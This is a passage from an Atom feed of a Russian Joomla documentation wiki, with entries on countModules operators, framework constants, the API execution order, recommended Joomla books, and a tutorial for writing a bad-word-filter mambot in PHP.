|&amp;lt;code&amp;gt;user1 &amp;lt;&amp;gt; user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Тоже самое что и !=.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;&amp;amp;lt; &lt;br /&gt;
|&amp;lt;code&amp;gt;user1 &amp;amp;lt; user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Возвращает true, если число модуле на позиции 1 меньше такового на позиции 2.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;&amp;amp;gt;&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 &amp;amp;gt; user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Возвращает true, если число модулей на позиции 1 больше чем на 2.&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;&amp;amp;lt;&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 &amp;amp;lt;= user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Проверка &amp;quot;меньше или равно&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;&amp;amp;gt;=&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 &amp;amp;gt;= user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Проверка &amp;quot;больше или равно&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;and&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 and user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Возвращает true, если на обоих позициях включен хотя бы один модуль, иначе возвращает false&lt;br /&gt;
|-&lt;br /&gt;
!&amp;amp;nbsp;or&lt;br /&gt;
|&amp;lt;code&amp;gt;user1 or user2&amp;lt;/code&amp;gt;&lt;br /&gt;
|Возвращает true если хотя бы на одной или сразу на обоих позициях есть хотя бы один включенный модуль, иначе возвращает false.&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
Если метод &amp;lt;var&amp;gt;countModules()&amp;lt;/var&amp;gt; возвращет ненулевое значение, это аналогично ''true''; а ноль аналогичен ''false''.&lt;br /&gt;
&lt;br /&gt;
В конструкцию по объединению модулей могут быть включены более чем две позиции модулей. Проверка происходит слева направо, согласно приоритету операций. Порядок приоритета операции дан в следующей таблице:&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
!Операторы&lt;br /&gt;
!Тип оператора&lt;br /&gt;
|-&lt;br /&gt;
!&amp;lt;tt&amp;gt; * /&amp;lt;/tt&amp;gt;&lt;br /&gt;
|Арифметические операции&lt;br /&gt;
|-&lt;br /&gt;
!&amp;lt;tt&amp;gt; + - &amp;lt;/tt&amp;gt;&lt;br /&gt;
|Арифметические операции&lt;br /&gt;
|-&lt;br /&gt;
!&amp;lt;tt&amp;gt; &amp;amp;lt; &amp;amp;lt;= &amp;amp;gt; &amp;amp;gt;= &amp;lt;/tt&amp;gt;&lt;br /&gt;
|Операторы сравнения&lt;br /&gt;
|-&lt;br /&gt;
!&amp;lt;tt&amp;gt; == != &amp;lt;/tt&amp;gt;&lt;br /&gt;
|Операторы сравнения&lt;br /&gt;
|-&lt;br /&gt;
!&amp;lt;tt&amp;gt; and &amp;lt;/tt&amp;gt;&lt;br /&gt;
|Логические операции&lt;br /&gt;
|-&lt;br /&gt;
!&amp;lt;tt&amp;gt; or &amp;lt;/tt&amp;gt;&lt;br /&gt;
|Логические операции&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
''[http://docs.joomla.org/JDocumentHTML/countModules источник]''&lt;br /&gt;
&lt;br /&gt;
[[Категория:FAQ по шаблонам Joomla]]&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9A%D0%BE%D0%BD%D1%81%D1%82%D0%B0%D0%BD%D1%82%D1%8B_%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA%D0%B0_Joomla_1.5</id>
		<title>Константы фреймворка Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9A%D0%BE%D0%BD%D1%81%D1%82%D0%B0%D0%BD%D1%82%D1%8B_%D1%84%D1%80%D0%B5%D0%B9%D0%BC%D0%B2%D0%BE%D1%80%D0%BA%D0%B0_Joomla_1.5"/>
				<updated>2008-10-01T06:22:09Z</updated>
		
		<summary type="html">&lt;p&gt;Sourpuss: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;При выполнении компонента в Joomla 1.5 доступны следующие константы:&lt;br /&gt;
&lt;br /&gt;
 JPATH_ROOT          Путь к корневому каталогу Joomla&lt;br /&gt;
 JPATH_SITE          Путь к корневому каталогу Joomla&lt;br /&gt;
 JPATH_ADMINISTRATOR Путь к директории administrator&lt;br /&gt;
 JPATH_LIBRARIES     Путь к директории с библиотеками&lt;br /&gt;
 JPATH_PLUGINS       Путь к директории с плагинами&lt;br /&gt;
 JPATH_THEMES        Путь к директории с шаблонами&lt;br /&gt;
 JPATH_CACHE         Путь к директории кэша&lt;br /&gt;
 JPATH_COMPONENT     Путь к директории текущего исполняемого компонента&lt;br /&gt;
&lt;br /&gt;
Все константы определены в файле &amp;lt;code&amp;gt;/includes/defines.php&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
''[http://docs.joomla.org/Framework источник]''&lt;br /&gt;
&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9F%D0%BE%D1%80%D1%8F%D0%B4%D0%BE%D0%BA_%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B9_Joomla_1.5</id>
		<title>Порядок выполнения функций Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9F%D0%BE%D1%80%D1%8F%D0%B4%D0%BE%D0%BA_%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B9_Joomla_1.5"/>
				<updated>2008-10-01T06:16:39Z</updated>
		
		<summary type="html">&lt;p&gt;Sli: /* Отрисовка */ Добавлен раздел &amp;quot;Ссылки&amp;quot;, проставлены категории программирования&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Порядок выполнения функций и методов ==&lt;br /&gt;
&lt;br /&gt;
Ключевые моменты работы сайта на основе Joomla 1.5.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Инициализация ===&lt;br /&gt;
* Включение: &amp;lt;code&amp;gt;defines.php&amp;lt;/code&amp;gt;&lt;br /&gt;
* Включение: &amp;lt;code&amp;gt;framework.php&amp;lt;/code&amp;gt;&lt;br /&gt;
** Проверка наличия &amp;lt;code&amp;gt;configuration.php&amp;lt;/code&amp;gt;. Редирект на скрипт инсталляции в случае неудачи.&lt;br /&gt;
** Включение: &amp;lt;code&amp;gt;import.php&amp;lt;/code&amp;gt;&lt;br /&gt;
** Включение: &amp;lt;code&amp;gt;configuration.php&amp;lt;/code&amp;gt;&lt;br /&gt;
** Установка параметра error_reporting&lt;br /&gt;
** Включение классов совместимости со старыми версиями PHP&lt;br /&gt;
** Если включена отладка сайта, то включается профайлер&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.application.menu&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.user.user&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.environment.uri&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.html.html&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.utilities.utility&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.event.event&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.event.dispatcher&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.language.language&amp;lt;/code&amp;gt;&lt;br /&gt;
** Импорт &amp;lt;code&amp;gt;joomla.utilities.string&amp;lt;/code&amp;gt;&lt;br /&gt;
* Отметка для профайлера: &amp;lt;code&amp;gt;afterLoad&amp;lt;/code&amp;gt;&lt;br /&gt;
* Определение переменной &amp;lt;code&amp;gt;$mainframe&amp;lt;/code&amp;gt;. Вызов &amp;lt;code&amp;gt;JFactory::getApplication('site')&amp;lt;/code&amp;gt;&lt;br /&gt;
** Создание экземпляра и его возврат.  Вызов &amp;lt;code&amp;gt;JApplication::getInstance&amp;lt;/code&amp;gt;&lt;br /&gt;
* Инициализация приложения. Вызов &amp;lt;code&amp;gt;JSite::initialise&amp;lt;/code&amp;gt;&lt;br /&gt;
** Загрузка языковых файлов&lt;br /&gt;
** Вызов &amp;lt;code&amp;gt;parent::initialise&amp;lt;/code&amp;gt;&lt;br /&gt;
*** Первый вызов &amp;lt;code&amp;gt;JFactory::getUser&amp;lt;/code&amp;gt; (инициализация объекта пользователя)&lt;br /&gt;
**** Импорт &amp;lt;code&amp;gt;joomla.user.user&amp;lt;/code&amp;gt;&lt;br /&gt;
**** Создание сессии.  Вызов &amp;lt;code&amp;gt;JFactory::getSession&amp;lt;/code&amp;gt;&lt;br /&gt;
*** Установка редактора для пользователя&lt;br /&gt;
* Импорт системных плагинов/мамботов. Вызов &amp;lt;code&amp;gt;JPluginHelper::importPlugin('system')&amp;lt;/code&amp;gt;&lt;br /&gt;
* Отметка для профайлера: afterInitialise&lt;br /&gt;
* Событие: &amp;lt;code&amp;gt;'''onAfterInitialise'''&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Авторизация ===&lt;br /&gt;
* Вызов &amp;lt;code&amp;gt;JSite::route&amp;lt;/code&amp;gt;&lt;br /&gt;
* Вызов &amp;lt;code&amp;gt;JSite::authorize&amp;lt;/code&amp;gt;&lt;br /&gt;
** Проверка уровня доступа текущего пункта меню. Редирект в случае неудачи (не зарегистрирован или не хватает прав доступа).&lt;br /&gt;
* Отметка профайлера: &amp;lt;code&amp;gt;afterRoute&amp;lt;/code&amp;gt;&lt;br /&gt;
* Событие: &amp;lt;code&amp;gt;'''onAfterRoute'''&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Обработка ===&lt;br /&gt;
* Обработка компонента: Вызов &amp;lt;code&amp;gt;JSite::dispatch&amp;lt;/code&amp;gt;&lt;br /&gt;
* Отметка профайлера: &amp;lt;code&amp;gt;afterDispatch&amp;lt;/code&amp;gt;&lt;br /&gt;
* Событие: &amp;lt;code&amp;gt;'''onAfterDispatch'''&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Отрисовка ===&lt;br /&gt;
* Отрисовка страницы: Вызов &amp;lt;code&amp;gt;JSite::render&amp;lt;/code&amp;gt;&lt;br /&gt;
* Отметка профайлера: &amp;lt;code&amp;gt;afterRender&amp;lt;/code&amp;gt;&lt;br /&gt;
* Событие: &amp;lt;code&amp;gt;'''onAfterRender'''&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Вывод страницы: Вызов &amp;lt;code&amp;gt;JResponse::toString&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* ''[http://docs.joomla.org/API_Execution_Order источник]''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BB%D1%8F_Joomla_1.5</id>
		<title>Программирование для Joomla 1.5</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BB%D1%8F_Joomla_1.5"/>
				<updated>2008-10-01T05:59:07Z</updated>
		
		<summary type="html">&lt;p&gt;Dead Krolik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Попытаемся собрать тут документацию по программированию под новую ветку Joomla 1.5 и все следующие версии. Конечно же в общем и целом архитектура не изменилась, но API серьезно поменялось.&lt;br /&gt;
&lt;br /&gt;
=== '''Общая информация''' ===&lt;br /&gt;
* [http://www.joomla-docs.ru/images/e/e7/Joomla_1.5_database_scheme.png Схема БД Joomla 1.5]&lt;br /&gt;
* [http://docs.joomla.org/Category:Development JoomlaDocsWiki:Development]&lt;br /&gt;
* [http://www.webflasher.net/ru/webmasteru/joomla-1-5.html Model-View-Controller в Joomla 1.5]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== '''Разбор конкретный функций API''' ===&lt;br /&gt;
* [[Файловые функции в Joomla 1.5]]&lt;br /&gt;
* [[Объект JUser в Joomla 1.5]]&lt;br /&gt;
* [[Порядок выполнения функций Joomla 1.5]]&lt;br /&gt;
* [[Константы фреймворка Joomla 1.5]]&lt;br /&gt;
* [[Класс JDocument в Joomla 1.5]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Joomla_Books</id>
		<title>Joomla Books</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Joomla_Books"/>
				<updated>2008-09-02T16:18:19Z</updated>
		
		<summary type="html">&lt;p&gt;Dead Krolik: убрал | в конце ссылок&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Книги по CMS Joomla: =&lt;br /&gt;
&lt;br /&gt;
== Самоучитель Joomla! ==&lt;br /&gt;
&lt;br /&gt;
[[Изображение:Joomla_books_1.jpg|Самоучитель CMS Joomla!|left]]&lt;br /&gt;
Автор: Д. Рамел (Dan Rahmel)&lt;br /&gt;
&lt;br /&gt;
Серия: Самоучитель&lt;br /&gt;
&lt;br /&gt;
'''От издателя:''' &lt;br /&gt;
* Описан простой и быстрый процесс разработки полнофункциональных сайтов с использованием бесплатной системы управления контентом Joomla!. В книге рассматривается: установка и настройка системы и сопутствующих приложений, планирование содержимого сайта, добавление статей, разработка меню, администрирование Joomla!, резервное копирование сайта, проблемы безопасности, создание собственных шаблонов, обзор расширений системы и примеры их разработки, поддержка функций Web-сообщества, сбор и анализ статистики сайта, создание фотогалереи, поддержка электронной коммерции, поисковая оптимизация и др.&lt;br /&gt;
'''Приобрести книгу: [http://www.ozon.ru/context/detail/id/4030255/?partner=joomla844371 Самоучитель Joomla!]'''&lt;br /&gt;
&amp;lt;br clear=&amp;quot;both&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Joomla! Практическое руководство ==&lt;br /&gt;
[[Изображение:Joomla_books_5.jpg|Joomla! Практическое руководство|left]]&lt;br /&gt;
Joomla! A User's Guide: Building a Successful Joomla! Powered Website&lt;br /&gt;
&lt;br /&gt;
Автор: Бэрри Норт (Barrie M. North)&lt;br /&gt;
&lt;br /&gt;
'''От издателя:''' &lt;br /&gt;
* Joomla! представляет собой эффективную систему управления содержимым веб-сайтов, распространяемую бесплатно и обладающую особой гибкостью использования, что выгодно отличает ее от других подобных программных продуктов. В этой книге, написанной ведущим консультантом проекта Joomla!, Бэрри Нортом, раскрываются все особенности и преимущества новейшей версии. &lt;br /&gt;
Вы ознакомитесь с техническими возможностями Joomla, ее модулями и компонентами, научитесь грамотно формировать содержимое и узнаете о способах управления им. Не будут обойдены вниманием такие важнейшие вопросы, как разработка шаблонов, создание удобной системы навигации, оптимизация сайтов для поисковых систем и многое другое. Кроме того, вы найдете три примера создания веб-сайтов &amp;quot;с нуля&amp;quot;. Книга написана простым и живым языком, содержит минимум технических терминов, не требует от читателя знания PHP, CSS и прочих терминов, обычных для веб-дизайна, и при этом в ней представлено множество практических приемов, советов и вариантов решения возможных проблем.&lt;br /&gt;
&lt;br /&gt;
* Эта книга станет отличным учебным и справочным пособием для профессиональных веб-дизайнеров и для тех, кто только приобщается к современному искусству создания веб-сайтов.&lt;br /&gt;
'''Приобрести книгу: [http://www.ozon.ru/context/detail/id/3992706/?partner=joomla844371 Joomla! Практическое руководство]'''&lt;br /&gt;
&amp;lt;br clear=&amp;quot;both&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Движок для вашего сайта. CMS Joomla!, Slaed, PHP-Nuke (+ CD-ROM) ==&lt;br /&gt;
&lt;br /&gt;
[[Изображение:Joomla_books_3.jpg|Движок для вашего сайта. CMS Joomla!|left]]&lt;br /&gt;
Автор: Денис Колисниченко&lt;br /&gt;
&lt;br /&gt;
Серия: Самоучитель&lt;br /&gt;
&lt;br /&gt;
'''От издателя:''' &lt;br /&gt;
* Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки создать свой сайт, так и на разработчиков, которые заинтересованы в построении собственной системы управления сайтом. Рассмотрены три уже готовые системы управления сайтом - Joomla!, Slaed, PHP-Nuke. С позиции пользователя описывается, как установить, настроить, разработать графическую тему и расширить возможности каждой системы. Для разработчиков описано программирование собственных расширений для рассмотренных движков, а также создание собственной системы управления сайтом. Отдельное внимание уделяется защите от взлома разрабатываемой системы, а также интеграции с популярным форумом phpBB из файла задания. &lt;br /&gt;
&lt;br /&gt;
* На прилагаемом компакт-диске находятся последние версии CMS Joomla!, Slaed, PHP-Nuke, множество расширений, шаблонов, а также все значимые листинги книги.&lt;br /&gt;
'''Приобрести книгу: [http://www.ozon.ru/context/detail/id/3907519/?partner=joomla844371 Движок для вашего сайта. CMS Joomla!, Slaed, PHP-Nuke (+ CD-ROM)]'''&lt;br /&gt;
&amp;lt;br clear=&amp;quot;both&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== См. также ==&lt;br /&gt;
* [[Обзор web технологий|Обзор веб-технологий и книги по ним]]&lt;br /&gt;
* [[Первый раз|Знакомство с CMS Joomla и ссылки на руководства]]&lt;br /&gt;
* [http://docs.joomla.org/ Документация по CMS Joomla (анг.)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:Руководства]]&lt;/div&gt;</summary>
		<author><name>Sourpuss</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9A%D0%B0%D0%BA_%D0%BD%D0%B0%D0%BF%D0%B8%D1%81%D0%B0%D1%82%D1%8C_%D0%BC%D0%B0%D0%BC%D0%B1%D0%BE%D1%82_%D0%B4%D0%BB%D1%8F_Joomla_1.0.x</id>
		<title>Как написать мамбот для Joomla 1.0.x</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9A%D0%B0%D0%BA_%D0%BD%D0%B0%D0%BF%D0%B8%D1%81%D0%B0%D1%82%D1%8C_%D0%BC%D0%B0%D0%BC%D0%B1%D0%BE%D1%82_%D0%B4%D0%BB%D1%8F_Joomla_1.0.x"/>
				<updated>2007-12-04T17:34:38Z</updated>
		
		<summary type="html">&lt;p&gt;Sourpuss: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Вступление ===&lt;br /&gt;
Вы уже знаете, что мамботы по сути это маленькие функции, которые чаще всего выполняют какие-либо замены в переданном им на обработку тексте или выполняют некие системные действия. Примером может служить мамбот mosimage, который заменяет все вхождения {mosimage} на реальные картинки, которые были присвоены статье в административной части. Довольно удобно, согласитесь.&lt;br /&gt;
&lt;br /&gt;
В этой статье мы попытаемся написать мамбот типа &amp;quot;контент&amp;quot;, который удаляет плохие слова из статьи. Понятно, что мало кто в здравом уме будет публиковать статьи с нехорошими словами, но в качестве учебной задачи она нам подойдет.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Подготовка файлов ===&lt;br /&gt;
Назовем мы его '''badword''' - это будет его краткое имя. Создаем два файла:&lt;br /&gt;
* bot_badword.php&lt;br /&gt;
* bot_badword.xml&lt;br /&gt;
Приставка '''bot_''' вовсе не обязательна, но удобнее, что бы файлы назывались согласно их назначению и пускай даже никто и не узнает зачем они в принципе нужны. Главное - это система. Для начала пишем в них следующее содержимое:&lt;br /&gt;
* bot_badword.php&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php&lt;br /&gt;
/**&lt;br /&gt;
* Мамбот замены плохих слов&lt;br /&gt;
*/&lt;br /&gt;
defined( '_VALID_MOS' ) or die( 'Всем привет' );&lt;br /&gt;
$_MAMBOTS-&amp;gt;registerFunction( 'onPrepareContent', 'botReplaceBadWords' );&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
* Основная фукнция замены плохих слов&lt;br /&gt;
*/&lt;br /&gt;
function botReplaceBadWords( $published, &amp;amp;$row, &amp;amp;$params, $page=0 ) {&lt;br /&gt;
&lt;br /&gt;
	//$row-&amp;gt;text&lt;br /&gt;
&lt;br /&gt;
	return true;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
* bot_badword.xml&lt;br /&gt;
&amp;lt;xml&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;windows-1251&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;mosinstall version=&amp;quot;1.0.0&amp;quot; type=&amp;quot;mambot&amp;quot; group=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;name&amp;gt;Bad words filter&amp;lt;/name&amp;gt;&lt;br /&gt;
	&amp;lt;files&amp;gt;&lt;br /&gt;
		&amp;lt;filename mambot=&amp;quot;bot_badword&amp;quot;&amp;gt;bot_badword.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
	&amp;lt;/files&amp;gt;&lt;br /&gt;
	&amp;lt;params/&amp;gt;&lt;br /&gt;
&amp;lt;/mosinstall&amp;gt;&amp;lt;/xml&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Установка ===&lt;br /&gt;
Лучше всего разрабатывать что-либо на живой Joomla, а не придумывая псевдо-код. Поэтому на домашнюю Joomla, которую не страшно потерять ставим этот мамбот. Просто архивируем два файла в один архив и загружаем в инсталляторе мамботов. Дальше по ходу разработки он будет обрастать дополнительными строками кода.&lt;br /&gt;
&lt;br /&gt;
После установки он должен появиться в списке мамботов. Вам будет нужно его &amp;quot;включить&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Разработка ===&lt;br /&gt;
Если зайти в настройки мамбота, то мы увидим, что он не предлагает нам для ввода никаких параметров. А логично было бы предположить, что пользователь может задавать - какие же слова являются &amp;quot;плохими&amp;quot;. Предлагаю создать для этих слов специальное поле, которое назовем '''words'''. Для этого добавим в xml-файл несколько строк и в результате он будет выглядеть так:&lt;br /&gt;
&amp;lt;xml&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;windows-1251&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;mosinstall version=&amp;quot;1.0.0&amp;quot; type=&amp;quot;mambot&amp;quot; group=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;name&amp;gt;Bad words filter&amp;lt;/name&amp;gt;&lt;br /&gt;
	&amp;lt;files&amp;gt;&lt;br /&gt;
		&amp;lt;filename mambot=&amp;quot;bot_badword&amp;quot;&amp;gt;bot_badword.php&amp;lt;/filename&amp;gt;&lt;br /&gt;
	&amp;lt;/files&amp;gt;&lt;br /&gt;
	&amp;lt;params&amp;gt;&lt;br /&gt;
		&amp;lt;param name=&amp;quot;words&amp;quot; type=&amp;quot;textarea&amp;quot; label=&amp;quot;Плохие слова&amp;quot; description=&amp;quot;Введите список плохих слов через запятую&amp;quot; cols=&amp;quot;60&amp;quot; rows=&amp;quot;10&amp;quot; /&amp;gt;	&lt;br /&gt;
	&amp;lt;/params&amp;gt;&lt;br /&gt;
&amp;lt;/mosinstall&amp;gt;&amp;lt;/xml&amp;gt;&lt;br /&gt;
Вспомним, что мамбот уже установлен и xml-файл лежит в папке '''/mambots/content'''. Там и модифицируем его. После чего заходим в административную часть, в настройки нашего мамбота и видим новое поле. В него для теста набиваем что-нибудь вроде &amp;quot;123, 234,345&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Больше настроек не будет. Открываем файл '''/mambots/content/bot_badword.php''' в вашем любимом редакторе и пишем код, который и будет реализовывать функционал замены плохих слов в статье.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Обработка параметров мамбота ====&lt;br /&gt;
Для выборки параметров используется слегка замысловатая, но тем не менее рабочая конструкция следующего вида:&lt;br /&gt;
&amp;lt;php&amp;gt;	global $database;&lt;br /&gt;
	static $botParams = null;&lt;br /&gt;
&lt;br /&gt;
	if ( !$botParams ) {&lt;br /&gt;
&lt;br /&gt;
		$query = &amp;quot;SELECT params FROM #__mambots WHERE element = 'bot_badword' AND folder = 'content'&amp;quot;;&lt;br /&gt;
		$database-&amp;gt;setQuery( $query );&lt;br /&gt;
		$database-&amp;gt;loadObject($mambot_info);&lt;br /&gt;
		$botParams = new mosParameters( $mambot_info-&amp;gt;params );&lt;br /&gt;
	}&amp;lt;/php&amp;gt;&lt;br /&gt;
Помещаем ее в самое начало фукнции '''botReplaceBadWords''' и забываем. Из переменной '''$botParams''' в дальнейшем можно будет достать введенный в админке параметр '''words'''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Извлечение списка плохих слов ====&lt;br /&gt;
Выглядит следующим образом:&lt;br /&gt;
&amp;lt;php&amp;gt;	$bad_words = explode(',',$botParams-&amp;gt;get('words'));&lt;br /&gt;
	foreach($bad_words as $ind=&amp;gt;$word) $bad_words[$ind] = trim($word);&amp;lt;/php&amp;gt;&lt;br /&gt;
Здесь мы извлекаем слова, преобразовываем их в массив, предполагая что они разделены запятыми и применяем '''trim''' для удаления лишних пробелов и переводов строк.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Замена плохих слов ====&lt;br /&gt;
&amp;lt;php&amp;gt;	foreach($bad_words as $word) {&lt;br /&gt;
	&lt;br /&gt;
		$row-&amp;gt;text = str_replace($word,str_repeat(&amp;quot;*&amp;quot;,strlen($word)),$row-&amp;gt;text);&lt;br /&gt;
	}&amp;lt;/php&amp;gt;&lt;br /&gt;
Мы просто заменяем слова звездочками. В переменной '''$row-&amp;gt;text''' хранится текущий текст статьи. А в конце функции мамбота возвращем '''true''' - замена произошла успешно.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Окончательный вид функции ====&lt;br /&gt;
&amp;lt;php&amp;gt;/**&lt;br /&gt;
* Основная фукнция замены плохих слов&lt;br /&gt;
*/&lt;br /&gt;
function botReplaceBadWords( $published, &amp;amp;$row, &amp;amp;$params, $page=0 ) {&lt;br /&gt;
&lt;br /&gt;
	global $database;&lt;br /&gt;
	static $botParams = null;&lt;br /&gt;
&lt;br /&gt;
	if ( !$botParams ) {&lt;br /&gt;
&lt;br /&gt;
		$query = &amp;quot;SELECT params FROM #__mambots WHERE element = 'bot_badword' AND folder = 'content'&amp;quot;;&lt;br /&gt;
		$database-&amp;gt;setQuery( $query );&lt;br /&gt;
		$database-&amp;gt;loadObject($mambot_info);&lt;br /&gt;
		$botParams = new mosParameters( $mambot_info-&amp;gt;params );&lt;br /&gt;
	}&lt;br /&gt;
 	&lt;br /&gt;
	$bad_words = explode(',',$botParams-&amp;gt;get('words'));&lt;br /&gt;
	foreach($bad_words as $ind=&amp;gt;$word) $bad_words[$ind] = trim($word);&lt;br /&gt;
&lt;br /&gt;
	foreach($bad_words as $word) {&lt;br /&gt;
	&lt;br /&gt;
		$row-&amp;gt;text = str_replace($word,str_repeat(&amp;quot;*&amp;quot;,strlen($word)),$row-&amp;gt;text);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return true;&lt;br /&gt;
}&amp;lt;/php&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Сборка мамбота ===&lt;br /&gt;
Под сборкой понимается создание архива, который можно устанавливать на других сайтах. Архив будет состоять из двух файлов мамбота. Просто запаковываем их в ZIP и можно делать с ними все что захотим. &lt;br /&gt;
&lt;br /&gt;
На этом создание простейшего мамбота для Joomla можно считать завершенным.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:Программирование]]&lt;br /&gt;
[[Категория:Программирование для Joomla 1.0]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
